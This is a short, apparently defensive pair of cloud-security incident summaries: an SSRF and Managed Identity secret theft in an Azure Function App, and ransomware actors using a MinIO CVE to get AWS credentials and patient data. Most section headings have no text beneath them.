Incident Scenario: An organization deployed a Python-based Azure Function App to process user uploads. The function contained an SSRF vulnerability allowing users to specify arbitrary image URLs for processing. When a compromised developer deployed backdoored code, the function’s Managed Identity (which had Key Vault access) was leveraged to steal application secrets.
Attack Chain:
Impact:
Detection Failures:
Remediation:
Incident Summary: Ransomware operators targeting healthcare organizations discovered vulnerable MinIO clusters used for HIPAA backup compliance. They exploited CVE-2023-28432 to extract AWS credentials, then accessed AWS backup repositories to exfiltrate patient data before deploying ransomware.
Attack Progression:
Impact:
Lessons Learned:
Reference: HealthCare Sector Ransomware Attacks - CISA Advisory